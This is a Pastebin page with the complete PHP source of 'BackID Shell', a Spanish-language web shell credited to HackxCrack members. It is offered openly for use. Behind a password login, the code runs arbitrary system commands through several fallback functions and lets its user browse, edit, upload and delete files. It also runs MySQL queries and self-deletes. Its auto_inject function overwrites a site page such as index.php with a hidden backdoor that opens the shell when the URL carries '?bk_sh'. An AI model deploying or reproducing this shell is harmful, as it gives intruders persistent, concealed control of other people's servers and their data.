Advertisement
bssanchez93

BackID Shell

Mar 20th, 2013
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.20 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. @ini_set('error_log',NULL);
  4. @ini_set('log_errors',0);
  5. @ini_set('max_execution_time',0);
  6. @set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. define('VERSION', '0.2');
  9. define('NAME', 'BackID - shell v'.VERSION);
  10. define('TITLE', 'BackID v0.2'); //podes cambiarlo por lo que quieras que aparezca en la index :)
  11. if( get_magic_quotes_gpc() ) {
  12.     function stripslashes_array($array) {
  13.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  14.     }
  15.     $_POST = stripslashes_array($_POST);
  16. }
  17.  
  18. $pass = "contrasena";
  19. //+--+--+--+--+--+--+--+--+--+--+--+--+-- Termina Configuracion jejejeje +-++-++-++-++-++-++-++-++-++-++-++-+-//
  20.  
  21.  
  22. session_start();
  23. if(isset($_GET['exit'])) { session_unset(); unset($_SESSION); session_destroy(); die("<script> window.location='" . $_SERVER['SCRIPT_NAME'] . "'; </script>"); }
  24. if(!(isset($_SESSION['logged']) && $_SESSION['logged'] != ""))
  25. {
  26.     if($_POST['password'] == $pass)
  27.     {
  28.         session_start();
  29.         $_SESSION['logged'] = "yessss";
  30.         header("Location: ".$_SERVER['SCRIPT_NAME']);
  31.     }
  32.     ?>
  33.     <html>
  34.     <head>
  35.     <title><?php echo TITLE; ?></title>
  36.     <style type="text/css">
  37.     @import url(http://fonts.googleapis.com/css?family=Iceland);
  38.     .matrix { font-family: Iceland, Lucida Console, Courier, Monotype; font-size:14pt; text-align:center; width:15px; padding:0px; margin:0px;}
  39.     </style>
  40.  
  41.     <script type="text/javascript" language="JavaScript">
  42.  
  43.     <!--
  44.     var rows=21;
  45.     var speed=3;
  46.     var reveal=3;
  47.     var effectalign="default";
  48.  
  49.     var w3c=document.getElementById && !window.opera;;
  50.     var ie45=document.all && !window.opera;
  51.     var ma_tab, matemp, ma_bod, ma_row, x, y, columns, ma_txt, ma_cho;
  52.     var m_coch=new Array();
  53.     var m_copo=new Array();
  54.     window.onload=function() {
  55.        if (!w3c && !ie45) return
  56.       var matrix=(w3c)?document.getElementById("matrix"):document.all["matrix"];
  57.       ma_txt=(w3c)?matrix.firstChild.nodeValue:matrix.innerHTML;
  58.       ma_txt=" "+ma_txt+" ";
  59.       columns=ma_txt.length;
  60.       if (w3c) {
  61.         while (matrix.childNodes.length) matrix.removeChild(matrix.childNodes[0]);
  62.         ma_tab=document.createElement("table");
  63.         ma_tab.setAttribute("border", 0);
  64.         ma_tab.setAttribute("align", effectalign);
  65.         ma_tab.style.backgroundColor="#000000";
  66.         ma_bod=document.createElement("tbody");
  67.         for (x=0; x<rows; x++) {
  68.           ma_row=document.createElement("tr");
  69.           for (y=0; y<columns; y++) {
  70.             matemp=document.createElement("td");
  71.             matemp.setAttribute("id", "Mx"+x+"y"+y);
  72.             matemp.className="matrix";
  73.             matemp.appendChild(document.createTextNode(String.fromCharCode(160)));
  74.             ma_row.appendChild(matemp);
  75.           }
  76.           ma_bod.appendChild(ma_row);
  77.         }
  78.         ma_tab.appendChild(ma_bod);
  79.         matrix.appendChild(ma_tab);
  80.       } else {
  81.         ma_tab='<ta'+'ble align="'+effectalign+'" border="0" style="background-color:#000000">';
  82.         for (var x=0; x<rows; x++) {
  83.           ma_tab+='<t'+'r>';
  84.           for (var y=0; y<columns; y++) {
  85.             ma_tab+='<t'+'d class="matrix" id="Mx'+x+'y'+y+'">&nbsp;</'+'td>';
  86.           }
  87.           ma_tab+='</'+'tr>';
  88.         }
  89.         ma_tab+='</'+'table>';
  90.         matrix.innerHTML=ma_tab;
  91.       }
  92.       ma_cho=ma_txt;
  93.       for (x=0; x<columns; x++) {
  94.         ma_cho+=String.fromCharCode(32+Math.floor(Math.random()*94));
  95.         m_copo[x]=0;
  96.       }
  97.       ma_bod=setInterval("mytricks()", speed);
  98.     }
  99.  
  100.     function mytricks() {
  101.       x=0;
  102.       for (y=0; y<columns; y++) {
  103.         x=x+(m_copo[y]==100);
  104.         ma_row=m_copo[y]%100;
  105.         if (ma_row && m_copo[y]<100) {
  106.           if (ma_row<rows+1) {
  107.             if (w3c) {
  108.               matemp=document.getElementById("Mx"+(ma_row-1)+"y"+y);
  109.               matemp.firstChild.nodeValue=m_coch[y];
  110.             }
  111.             else {
  112.               matemp=document.all["Mx"+(ma_row-1)+"y"+y];
  113.               matemp.innerHTML=m_coch[y];
  114.             }
  115.             matemp.style.color="#33ff66";
  116.             matemp.style.fontWeight="bold";
  117.           }
  118.           if (ma_row>1 && ma_row<rows+2) {
  119.            
  120.  
  121.     matemp=(w3c)?document.getElementById("Mx"+(ma_row-2)+"y"+y):document.all["Mx"+(ma_row-2)+"y"+y];
  122.             matemp.style.fontWeight="normal";
  123.             matemp.style.color="#00ff00";
  124.           }
  125.           if (ma_row>2) {
  126.              
  127.  
  128.     matemp=(w3c)?document.getElementById("Mx"+(ma_row-3)+"y"+y):document.all["Mx"+(ma_row-3)+"y"+y];
  129.             matemp.style.color="#009900";
  130.           }
  131.           if (ma_row<Math.floor(rows/2)+1) m_copo[y]++;
  132.           else if (ma_row==Math.floor(rows/2)+1 && m_coch[y]==ma_txt.charAt(y)) zoomer(y);
  133.           else if (ma_row<rows+2) m_copo[y]++;
  134.           else if (m_copo[y]<100) m_copo[y]=0;
  135.         }
  136.         else if (Math.random()>0.9 && m_copo[y]<100) {
  137.           m_coch[y]=ma_cho.charAt(Math.floor(Math.random()*ma_cho.length));
  138.           m_copo[y]++;
  139.         }
  140.       }
  141.       if (x==columns) clearInterval(ma_bod);
  142.     }
  143.  
  144.     function zoomer(ycol) {
  145.       var mtmp, mtem, ytmp;
  146.       if (m_copo[ycol]==Math.floor(rows/2)+1) {
  147.         for (ytmp=0; ytmp<rows; ytmp++) {
  148.           if (w3c) {
  149.             mtmp=document.getElementById("Mx"+ytmp+"y"+ycol);
  150.             mtmp.firstChild.nodeValue=m_coch[ycol];
  151.           }
  152.           else {
  153.             mtmp=document.all["Mx"+ytmp+"y"+ycol];
  154.             mtmp.innerHTML=m_coch[ycol];
  155.           }
  156.           mtmp.style.color="#33ff66";
  157.           mtmp.style.fontWeight="bold";
  158.         }
  159.         if (Math.random()<reveal) {
  160.           mtmp=ma_cho.indexOf(ma_txt.charAt(ycol));
  161.           ma_cho=ma_cho.substring(0, mtmp)+ma_cho.substring(mtmp+1, ma_cho.length);
  162.         }
  163.         if (Math.random()<reveal-1) ma_cho=ma_cho.substring(0, ma_cho.length-1);
  164.         m_copo[ycol]+=199;
  165.         setTimeout("zoomer("+ycol+")", speed);
  166.       }
  167.       else if (m_copo[ycol]>200) {
  168.         if (w3c) {
  169.           mtmp=document.getElementById("Mx"+(m_copo[ycol]-201)+"y"+ycol);
  170.           mtem=document.getElementById("Mx"+(200+rows-m_copo[ycol]--)+"y"+ycol);
  171.         }
  172.         else {
  173.           mtmp=document.all["Mx"+(m_copo[ycol]-201)+"y"+ycol];
  174.           mtem=document.all["Mx"+(200+rows-m_copo[ycol]--)+"y"+ycol];
  175.         }
  176.         mtmp.style.fontWeight="normal";
  177.         mtem.style.fontWeight="normal";
  178.         setTimeout("zoomer("+ycol+")", speed);
  179.       }
  180.       else if (m_copo[ycol]==200) m_copo[ycol]=100+Math.floor(rows/2);
  181.       if (m_copo[ycol]>100 && m_copo[ycol]<200) {
  182.         if (w3c) {
  183.           mtmp=document.getElementById("Mx"+(m_copo[ycol]-101)+"y"+ycol);
  184.           mtmp.firstChild.nodeValue=String.fromCharCode(160);
  185.           mtem=document.getElementById("Mx"+(100+rows-m_copo[ycol]--)+"y"+ycol);
  186.           mtem.firstChild.nodeValue=String.fromCharCode(160);
  187.         }
  188.         else {
  189.           mtmp=document.all["Mx"+(m_copo[ycol]-101)+"y"+ycol];
  190.           mtmp.innerHTML=String.fromCharCode(160);
  191.           mtem=document.all["Mx"+(100+rows-m_copo[ycol]--)+"y"+ycol];
  192.           mtem.innerHTML=String.fromCharCode(160);
  193.         }
  194.         setTimeout("zoomer("+ycol+")", speed);
  195.       }
  196.     }
  197.     // -->
  198.     </script>
  199.     </head>
  200.     <body style="background:black;">
  201.     <br>
  202.     <center><div id="matrix"><?php echo TITLE; ?></div></center>
  203.     <div style="position: absolute; height: 30px; margin: 0px; padding: 0px; text-align: center; top: 100%; margin-top: -30px;">
  204.         <form action="<?php echo "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']; ?>" method="post">
  205.             <input type="password" name="password" style="border : none; background-color: #000; color: #0F0;">
  206.         </form>
  207.     </div>
  208.     </body>
  209.     </html>
  210.  
  211.  
  212. <?php
  213. }
  214. else
  215. {
  216.  
  217. if(isset($_GET['phpinfo']))
  218. {
  219.     echo "<a href='".$_SERVER['SCRIPT_NAME']."'>Volver</a>";
  220.     die (phpinfo());
  221. }
  222.  
  223. function auto_inject($p)
  224. {
  225.     $password = "bk_sh";
  226.     $pwd = "\$_GET[\"".$password."\"]";
  227.    
  228.     $sess = "\$_SESSION[\"".$password."\"]";
  229.     $valid = "\"$password\"";
  230.  
  231.     $dat_inyectado = file_exists($p)?cargar_datos($p):"";
  232.     $dat_shell = cargar_datos(__FILE__);
  233.    
  234.     $inyeccion = <<<inyec
  235.     <?php
  236.         error_reporting(0);
  237.         session_start();
  238.         if(isset($pwd))
  239.         {
  240.             $sess = $valid;
  241.         }
  242.         else if(!isset($sess))
  243.         {
  244.             unset($sess);
  245.             session_unset();
  246.             session_destroy();
  247.         }
  248.        
  249.         if(!(isset($sess) && $sess == $valid))
  250.         {
  251.             ?>
  252.             $dat_inyectado
  253.             <?php
  254.         }
  255.         else
  256.         {
  257.             ?>
  258.             $dat_shell
  259.             <?php
  260.         }
  261.     ?>
  262. inyec;
  263.    
  264.    if(file_exists($p))
  265.    {
  266.         $finyect = fopen($p, "w");
  267.         if(fwrite($finyect, $inyeccion)) {
  268.             echo "Inyectado correctamente, entra con: ".$p."?".$password;
  269.         }
  270.         else
  271.         {
  272.             echo "No lo logre :/ tocara manualmente";
  273.         }
  274.         fclose($finyect);
  275.    }
  276.    else
  277.    {
  278.         echo "No exite ".$p." se creara el archivo y debe entrar asi: ".$p."?".$password;
  279.         echo "<br>inyectando<br>";
  280.        
  281.         $finyect = fopen($p, "w");
  282.         if(fwrite($finyect, $inyeccion)) {
  283.             echo "Inyectado correctamente, entra con: ".$p."?".$password;
  284.         }
  285.         else
  286.         {
  287.             echo "No lo logre :/ tocara manualmente";
  288.         }
  289.         fclose($finyect);
  290.    }
  291. }
  292. function cargar_datos($archivo_c)
  293. {
  294.     $archivo_o = fopen($archivo_c, "r");
  295.     $dat_archivo = "";
  296.     while(!feof($archivo_o))
  297.     {
  298.         global $fs_ln;
  299.         $line = fgets($archivo_o);
  300.         if($fs_ln == "") { $fs_ln = $line; }
  301.         $dat_archivo .= $line;
  302.     }
  303.     fclose($archivo_o);
  304.     return $dat_archivo;
  305. }
  306.  
  307.  
  308.  
  309. function exec_all($command)
  310.     {
  311.    
  312.     $output = '';
  313.     if(function_exists('exec'))
  314.     {  
  315.         exec($command,$output);
  316.         $output = join("\n",$output);
  317.     }
  318.    
  319.     else if(function_exists('shell_exec'))
  320.     {
  321.         $output = shell_exec($command);
  322.     }
  323.    
  324.     else if(function_exists('popen'))
  325.     {
  326.         $handle = popen($command , "r"); // Open the command pipe for reading
  327.         if(is_resource($handle))
  328.         {
  329.             if(function_exists('fread') && function_exists('feof'))
  330.             {
  331.                 while(!feof($handle))
  332.                 {
  333.                     $output .= fread($handle, 512);
  334.                 }
  335.             }
  336.             else if(function_exists('fgets') && function_exists('feof'))
  337.             {
  338.                 while(!feof($handle))
  339.                 {
  340.                     $output .= fgets($handle,512);
  341.                 }
  342.             }
  343.         }
  344.         pclose($handle);
  345.     }
  346.    
  347.    
  348.     else if(function_exists('system'))
  349.     {
  350.         ob_start(); //start output buffering
  351.         system($command);
  352.         $output = ob_get_contents();    // Get the ouput
  353.         ob_end_clean();                 // Stop output buffering
  354.     }
  355.    
  356.     else if(function_exists('passthru'))
  357.     {
  358.         ob_start(); //start output buffering
  359.         passthru($command);
  360.         $output = ob_get_contents();    // Get the ouput
  361.         ob_end_clean();                 // Stop output buffering            
  362.     }
  363.    
  364.     else if(function_exists('proc_open'))
  365.     {
  366.         $descriptorspec = array(
  367.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  368.                 );
  369.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  370.         if(is_resource($handle))
  371.         {
  372.             if(function_exists('fread') && function_exists('feof'))
  373.             {
  374.                 while(!feof($pipes[1]))
  375.                 {
  376.                     $output .= fread($pipes[1], 512);
  377.                 }
  378.             }
  379.             else if(function_exists('fgets') && function_exists('feof'))
  380.             {
  381.                 while(!feof($pipes[1]))
  382.                 {
  383.                     $output .= fgets($pipes[1],512);
  384.                 }
  385.             }
  386.         }
  387.         pclose($handle);
  388.     }
  389.     else
  390.     {
  391.         $output = "Ups moita security xDDDD!!!";
  392.     }
  393.    
  394.     return(htmlspecialchars($output));
  395. }
  396.  
  397.  
  398. function eliminarDir($carpeta)
  399. {
  400.     foreach(glob($carpeta . "/*") as $archivos_carpeta)
  401.     {
  402.         echo $archivos_carpeta;
  403.  
  404.         if (is_dir($archivos_carpeta))
  405.         {
  406.             eliminarDir($archivos_carpeta);
  407.         }
  408.         else
  409.         {
  410.             unlink($archivos_carpeta);
  411.         }
  412.     }
  413.     rmdir($carpeta);
  414. }
  415.  
  416.     function contar_datos($carp)
  417.     {
  418.         $carp = str_replace(' ', ' ',$carp);
  419.         $carp = str_replace('\\', '/',$carp);
  420.         $carpt = opendir($carp);
  421.         $tot = 0;
  422.         while($list = readdir($carpt)){
  423.         if(ucwords($list) != ".." && ucwords($list) != ".")
  424.         {
  425.             $tot++;
  426.         }
  427.         }
  428.         closedir($carpt);
  429.         return $tot;
  430.     }
  431.    
  432.     function size($path, $formated = true, $retstring = null){
  433.     if(!is_dir($path) || !is_readable($path)){
  434.         if(is_file($path) || file_exists($path)){
  435.             $size = filesize($path);
  436.         } else {
  437.             return false;
  438.         }
  439.     } else {
  440.         $path_stack[] = $path;
  441.         $size = 0;
  442.        
  443.         do {
  444.             $path   = array_shift($path_stack);
  445.             $handle = opendir($path);
  446.             while(false !== ($file = readdir($handle))) {
  447.                 if($file != '.' && $file != '..' && is_readable($path . DIRECTORY_SEPARATOR . $file)) {
  448.                     if(is_dir($path . DIRECTORY_SEPARATOR . $file)){ $path_stack[] = $path . DIRECTORY_SEPARATOR . $file; }
  449.                     $size += filesize($path . DIRECTORY_SEPARATOR . $file);
  450.                 }
  451.             }
  452.             closedir($handle);
  453.         } while (count($path_stack)> 0);
  454.     }
  455.     if($formated){
  456.         $sizes = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
  457.         if($retstring == null) { $retstring = '%01.2f %s'; }
  458.         $lastsizestring = end($sizes);
  459.         foreach($sizes as $sizestring){
  460.             if($size <1024){ break; }
  461.             if($sizestring != $lastsizestring){ $size /= 1024; }
  462.         }
  463.         if($sizestring == $sizes[0]){ $retstring = '%01d %s'; } // los Bytes normalmente no son fraccionales
  464.         $size = sprintf($retstring, $size, $sizestring);
  465.     }
  466.     return $size;
  467. }
  468.  
  469. if(isset($_POST['upload'])){
  470.  
  471.     if(!isset($_POST['dir']) || $_POST['dir'] == "")
  472.     {
  473.         echo "<script>alert('Directorio please');</script>";
  474.     }
  475.     else
  476.     {
  477.         $fname = $_FILES['file_name']['name'];
  478.         $direc = $_POST['dir'];
  479.         if(!move_uploaded_file($_FILES['file_name']['tmp_name'], $direc.$fname))
  480.         {
  481.             echo "<script>alert('Error subiendo archivo');</script>";
  482.         }
  483.         else
  484.         {
  485.             echo "<script>alert('Archivo subido satisfactoriamente');</script>";
  486.         }
  487.     }
  488. }
  489.  
  490. if(isset($_GET['boom']))
  491. {
  492.     @unlink($_SERVER['SCRIPT_NAME']);
  493. }
  494. ?>
  495. <!DOCTYPE html>
  496. <html>
  497. <head>
  498.     <title><?php echo NAME; ?></title>
  499.     <script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
  500.     <style type="text/css">
  501.         @import url(http://fonts.googleapis.com/css?family=Iceland);
  502.         * { font-family: Iceland; color: #0F0; }
  503.         body { background-color: #000; }
  504.         #main { border     : #0F0 solid 1px; border-color: #00ff00; position: relative; }
  505.         #pie { position: absolute; bottom: 0px; }
  506.         body,a:link { background-color: #000000; color: #00F; font-size: small; font-family: Iceland, "Courier New"; cursor: crosshair; }
  507.         a:link,a:visited,a:active { color: #00F; font: normal 15px Iceland, Verdana, Arial, Helvetica, sans-serif; text-decoration: none; }
  508.         #title { font-family: IceLand; font-size: 30px; text-align: center; }
  509.         input, textarea { background-color: #000; color: #0F0; padding: 5px; font-size: 15px; }
  510.         td { border-bottom: 2px dotted #0F0; text-align: center; padding: 5px; margin: 3px; }
  511.     </style>
  512.     <script type="text/javascript">
  513.     $(function()
  514.     {
  515.         $('.it_menu').click(function(){
  516.             $('.active').removeClass('it_menu active').addClass('it_menu');
  517.             $(this).addClass('active');
  518.         });
  519.     });
  520.     </script>
  521.            
  522. </head>
  523. <body>
  524.     <div id="main">
  525.     <?php echo "&nbsp;&nbsp;&nbsp;&nbsp;". php_uname() . " --- | --- " . getenv('SERVER_SOFTWARE') . " --- | --- <a href=?phpinfo> ver phpinfo </a>"; ?>
  526.     <h1 id="title"><?php echo NAME; ?></h1>
  527.     <div id="content">
  528.     <center>
  529.     <table style="border: #0F0 1px solid; width: 95%; padding: 3px;">
  530.         <tr>
  531.             <td style="width: 50%;">
  532.                 <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="get">
  533.                 Abrir carpeta<br><input type="text" name="d" value="<?php echo getcwd(); ?>" />&nbsp;&nbsp;<input type="submit" value="Ir a" name="btn_func">
  534.                 </form>
  535.             </td>
  536.             <td style="width: 50%;">
  537.                 <form enctype="multipart/form-data" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
  538.                     <input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
  539.                     upload file:<input name="file_name" type="file">
  540.                     <br>to dir: <input type="text" name="dir" value="./">&nbsp;&nbsp;<input type="submit" name="upload" value="upload">
  541.                 </form>
  542.             </td>
  543.         </tr>
  544.         <tr>
  545.             <td colspan="2">
  546.                 Execute MySQL Query:<br>
  547.                 <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="post" >
  548.                 host:<input type="text" name="host" value="localhost">  user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">
  549.                 database: <input type="text" name="db">  query: <input type="text" name="mquery"> <input type="submit" value="execute">
  550.             </form>
  551.             </td>
  552.         </tr>
  553.        
  554.         <tr>
  555.         <td style="width: 50%;">
  556.         <center>
  557.         <?php
  558.             if(isset($_GET['archivo'], $_GET['action']) && ($_GET['archivo'] != "" && $_GET['action'] == "deleteD"))
  559.             {
  560.                 eliminarDir($_GET['archivo']);
  561.                 echo "Carpeta eliminada!!!";
  562.             }
  563.             else if(isset($_GET['archivo'], $_GET['action']) && ($_GET['archivo'] != "" && $_GET['action'] == "deleteA"))
  564.             {
  565.                 unlink($_GET['archivo']);
  566.                 echo "Archivo eliminado!!!";
  567.             }
  568.         ?>
  569.         <table style="width: 95%; border: 1px #0F0 dashed;">
  570.             <tr>
  571.                 <td colspan="4" style="color: #000; background-color: #0F0; margin: 3px; height: 20px;">
  572.                     <strong style="color: #000;">Archivos y Directorios</strong>
  573.                 </td>
  574.             </tr>
  575.             <tr>
  576.                 <td style="color: #000; background-color: #0F0; margin: 3px; height: 20px;">
  577.                     <strong style="color: #000;">Nombre</strong>
  578.                 </td>
  579.                 <td style="color: #000; background-color: #0F0; margin: 3px; height: 20px;">
  580.                     <strong style="color: #000;">Tamaño</strong>
  581.                 </td>
  582.                 <td style="color: #000; background-color: #0F0; margin: 3px; height: 20px;">
  583.                     <strong style="color: #000;">Editar</strong>
  584.                 </td>
  585.                 <td style="color: #000; background-color: #0F0; margin: 3px; height: 20px;">
  586.                     <strong style="color: #000;">Eliminar</strong>
  587.                 </td>
  588.             </tr>
  589.            
  590.             <?php
  591.             $dir = (stristr(php_uname('s'), 'Windows'))?"C:":"/";
  592.             $dir = (isset($_GET['d']) && $_GET['d'] != "")?$_GET['d']:$dir;        
  593.             if(@$handle = opendir($dir))
  594.             {
  595.                 while (false !== ($archivo = readdir($handle)))
  596.                 {
  597.                     echo "<tr>";
  598.                     if($archivo == '.')
  599.                     {
  600.                         echo "<td><a href=\"?d=.\">$archivo</a><br></td>";
  601.                         echo "<td></td>";
  602.                         echo "<td></td>";
  603.                         echo "<td></td>";
  604.                     }
  605.                     elseif($archivo == '..')
  606.                     {
  607.                         if($dir != '.')
  608.                         {
  609.                             $carpetas = explode("/",$dir);
  610.                             array_pop($carpetas);
  611.                             $dir2 = join("/",$carpetas);
  612.                             echo "<td colspan='4'><a href=\"?d=$dir2\">$archivo</a></td>";
  613.                         }
  614.                     }
  615.                     elseif(is_dir($dir."/".$archivo))
  616.                     {
  617.                         echo "<td><a href='?d=".$dir."/".$archivo."'>".$archivo."</a></td>";
  618.                         echo "<td>".contar_datos($dir."/".$archivo)." archv(s)</td>";
  619.                         echo "<td colspan='2'><a onclick='return confirm(\"Eliminar Carpeta?\");' href='?action=deleteD&archivo=".$dir."/".$archivo."'>Eliminar</a></td>";
  620.                     }
  621.                     else
  622.                     {
  623.                         echo "<td>".$archivo."</td>";
  624.                         echo "<td>".size($dir."/".$archivo)."</td>";
  625.                         echo "<td><a href='?action=edit&archivo=".$dir."/".$archivo."'>Modificar</a></td>";
  626.                         echo "<td><a onclick='return confirm(\"Eliminar Archivo?\");' href='?action=deleteA&archivo=".$dir."/".$archivo."'>Eliminar</a></td>";
  627.                     }
  628.                     echo "</tr>";
  629.                     //echo "<i>".$dir."/".$archivo."</i>";
  630.                 }
  631.             }
  632.             else
  633.             {
  634.                 echo "<span style='color: #F00; font-weight: bolder;'>Error: el directorio $dir no existe...";
  635.             }
  636.         ?>
  637.            
  638.            
  639.         </table>
  640.         </center>
  641.        
  642.         </td>
  643.         <td style="width: 50%; margin-top: 0px;">
  644.         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  645.             <input type="text" name="pag" value="index.php" title="A donde me inyecto?" />&nbsp;<input type="submit" name="Inject" value="Inject">
  646.         </form>
  647.         <p style="color: #F00;">
  648.         <?php
  649.        
  650.         if(isset($_POST["Inject"]) && $_POST["Inject"] == "Inject")
  651.         {
  652.             $pag_iny = isset($_POST['pag'])?$_POST['pag']:"index.php";
  653.             unset($_POST);
  654.             auto_inject($pag_iny);
  655.         }
  656.         ?>
  657.         </p>
  658.         <br><br>
  659.        
  660.         <?php
  661.             if((isset($_POST['btn_func']) && $_POST['btn_func'] == "Guardar") && (isset($_POST['multilinea']) && $_POST['multilinea'] != "") && (isset($_POST['ruta']) && $_POST['ruta'] != ""))
  662.             {
  663.                 $guardar_arc = fopen($_POST['ruta'], 'w');
  664.                 if(fwrite($guardar_arc, $_POST['multilinea']))
  665.                 {
  666.                     echo "Archivo guardado!!!";
  667.                 }
  668.                 else
  669.                 {
  670.                     echo "<span style='color: #F00;'>No se pudo guardar!!!</span>";
  671.                 }
  672.             }
  673.         ?>
  674.         Crear y/o Modificar Archivos
  675.         <br><br>
  676.         <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="post">
  677.             <textarea id="multilinea" name="multilinea" style="width: 95%; height: 150px; resize: none;" readonly="readonly"><?php if(isset($_GET['archivo'], $_GET['action']) && ($_GET['archivo'] != "" && $_GET['action'] == "edit")) { $archivo = file_get_contents($_GET['archivo']); $archivo = ucfirst($archivo); echo htmlentities($archivo); } ?></textarea>
  678.             <br><input type="text" name="ruta" value="<?php if(isset($_GET['archivo']) && $_GET['archivo'] != '') { echo $_GET['archivo']; } ?>" style="width: 50%;">&nbsp;&nbsp;&nbsp;<input type="button" onclick="$(function(){ $('#multilinea').removeAttr('readonly'); });" name="btn_func" id="btn_edit" value="Editar">&nbsp;&nbsp;|&nbsp;&nbsp;<input type="submit" name="btn_func" id="btn_save" value="Guardar">
  679.         </form>
  680.        
  681.         <br><br>
  682.         Ejecutar Comandos por medio de System
  683.         <br><br>
  684.         <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="post">
  685.             <textarea id="multilinea" name="multilinea" style="width: 95%; height: 150px; resize: none;" readonly="readonly">
  686.             <?php
  687.             if(isset($_POST['cmd_text'], $_POST['btn_func']) && ($_POST['cmd_text'] != "" && $_POST['btn_func'] == "System"))
  688.             {
  689.                 $comando = $_POST['cmd_text'];
  690.                 $check = exec_all($comando);
  691.                 echo $check;
  692.             }
  693.             if(isset($_POST['mquery']))
  694.             {
  695.                 $host=$_POST['host'];
  696.                 $usr=$_POST['usr'];
  697.                 $passwd=$_POST['passwd'];
  698.                 $db=$_POST['db'];
  699.                 $mquery=$_POST['mquery'];
  700.                 mysql_connect($host, $usr, $passwd);
  701.                     echo mysql_error()?"Error: " . mysql_error():"Conectado\n";
  702.                 mysql_select_db($db);
  703.                     echo mysql_error()?"Error: " . mysql_error():"DB seleccionada\n\n";
  704.                 $result = mysql_query($mquery);
  705.                 if($result)
  706.                 {
  707.                     while($line = mysql_fetch_array($result,MYSQL_ASSOC))
  708.                     {
  709.                         print_r ($line);
  710.                     }
  711.                 }
  712.                 //while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);  
  713.                 //mysql_free_result($result);
  714.                 //die;
  715.             }
  716.            
  717.             ?>
  718.             </textarea>
  719.             <br><input type="text" name="cmd_text" value="<?php echo (isset($_POST['cmd']))?$_POST['cmd']:''; ?>" style="width: 80%;">&nbsp;&nbsp;|&nbsp;&nbsp;<input type="submit" name="btn_func" id="btn_save" value="System">
  720.         </form>
  721.         </td>
  722.         </tr>
  723.     </table>
  724.     <div style="background-color: #000; border: 1px dashed #F00; position: relative; width: 95%; height: 30px; bottom: 0px; cursor: pointer; text-align:center;" >by BacktrackFire &amp;&amp; kid_goth<br>| HackxCrack |</div>
  725.     <center>
  726.     </div>
  727.     <div style="background-color: #F00; position: fixed; width: 30px; height: 30px; top: 50%; right: 0px; padding-top: 10px; cursor: pointer;" onclick="window.location='<?php echo $_SERVER['SCRIPT_NAME']; ?>'">Act</div>
  728.     <div style="background-color: #F00; position: fixed; width: 30px; height: 30px; top: 50%; margin-top: 31px; right: 0px; padding-top: 10px; cursor: pointer;" onclick="window.location='<?php echo $_SERVER['SCRIPT_NAME']."?exit"; ?>'">Exit</div>
  729.     <div style="background-color: #F00; position: fixed; width: 30px; height: 30px; top: 50%; margin-top: 31px; right: 0px; padding-top: 10px; cursor: pointer;" onclick="window.location='<?php echo $_SERVER['SCRIPT_NAME']."?boom"; ?>'">Boom</div>
  730. </body>
  731. </html>
  732.     <?php
  733. }
  734. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement